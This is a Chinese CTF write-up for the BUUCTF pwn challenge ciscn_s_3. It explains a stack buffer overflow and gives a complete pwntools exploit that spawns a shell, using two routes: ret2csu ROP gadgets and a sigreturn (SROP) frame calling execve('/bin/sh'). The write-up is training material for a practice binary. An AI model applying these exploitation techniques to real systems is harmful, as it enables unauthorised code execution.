注意
在本地调试的时候注意libc版本,我本地的版本是2.31,在计算栈的偏移时是
0x128
,但是线上靶场的环境栈的偏移是0x118
。在本地可以利用patchelf切换libc版本
patchelf --set-interpreter ~/Tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath ~/Tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ ./ciscn_s_3
-
安全策略
[*] '/root/ctf/buuctf/pwn/ciscn_s_3' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
-
分析
程序的功能很简单,接受一段输入,然后输出。接受输入的栈大小为0X10,而读入的最大限制是0x400,明显存在溢出。
binsh字符串
有几点需要注意,本题没有引用函数,而使用syscall实现的读写,因此无法通过泄露got表的方法去获取libc地 址,进而获取/bin/sh,所以需要考虑自己写入
/bin/sh
然后再调用。通过调试可以发现读入数据时,rsp向下0x10的位置是字符串ciscn_s_3
的地址,通过计算发现这个字符串和自己写入的/bin/sh的偏移是恒定的0x128。由此即可获取/bin/sh的地址。
利用execve
构造execve('/bin/sh',0,0)
。这里使用万能gadget构造ROP
# r12 = 返回调用的地址
# r13 = 参数三
# r14 = 参数二
# r15d = 参数一,这里我们需要传入的binsh地址是栈中的地址,只传低4位不能满足,因此我们需要额外再给rdi进行一次赋值
# 按照我们的溢出构造方式,binsh到pop_rdi_ret的偏移正好是0x50,因此返回地址就是binsh+0x50
retaddr = binsh + 0x50
payload = b'/bin/sh'.ljust(0x10, b'\x00')
payload += p64(pop_rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(0x1) + p64(retaddr) + p64(0) + p64(0) + p64(0)
payload += p64(mov_rdx_r13)
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(mov_rax_11) + p64(syscall)
利用sigreturn
构造如下的fake frame,然后调用15号系统调用就可以了
fake_frame = SigreturnFrame()
fake_frame.rax = 0x3b
fake_frame.rdi = binsh
fake_frame.rsi = 0
fake_frame.rdx = 0
fake_frame.rip = syscall
payload = b'/bin/sh'.ljust(0x10, b'\x00')
payload += p64(mov_rax_15) + p64(syscall)
payload += bytes(fake_frame)
-
exp
from pwn import * context.log_level = 'debug' context.arch = 'amd64' elf = ELF('./ciscn_s_3') leak_got = elf.got['__libc_start_main'] vuln = 0x004004ed syscall = 0x00400517 ret = 0x00400519 # rdi pop_rdi_ret = 0x004005a3 # rdx pop_rbx_rbp_r12_r13_r14_r15_ret = 0x0040059a mov_rdx_r13 = 0x00400580 #conn = remote('node4.buuoj.cn',27244) conn = process('ciscn_s_3') #gdb.attach(conn, 'b *0x004004ed') payload = b'/bin/sh' payload = payload.ljust(0x10, b'\x00') payload += p64(vuln) conn.send(payload) res = conn.recv(0x30)[0x20:0x26] binsh = u64(res+b'\x00\x00') - 0x118 # 注意libc版本,2.31版本这里是0x128 print(f'binsh : {hex(binsh)}') def exp1(): mov_rax_59 = 0x004004e2 payload = b'/bin/sh'.ljust(0x10, b'\x00') # r14 => rsi = 0 # r13 => rdx = 0, r12 = syscall payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + p64(0) + p64(0x1) + p64(binsh + 0x50) + p64(0) + p64(0) + p64(binsh) payload += p64(mov_rdx_r13) # r15 => rdi = binsh payload += p64(pop_rdi_ret) + p64(binsh) # rax = 59 payload += p64(mov_rax_59) payload += p64(syscall) conn.send(payload) conn.recv() conn.interactive() def exp2(): mov_rax_15 = 0x004004da # fake signal frame fake_frame = SigreturnFrame() fake_frame.rax = 0x3b fake_frame.rdi = binsh fake_frame.rsi = 0 fake_frame.rdx = 0 #fake_frame.rsp = binsh + 0x10 fake_frame.rip = syscall print(fake_frame) payload = b'/bin/sh'.ljust(0x10, b'\x00') payload += p64(mov_rax_15) + p64(syscall) payload += bytes(fake_frame) conn.send(payload) conn.recv() conn.interactive() if __name__ == "__main__": exp1()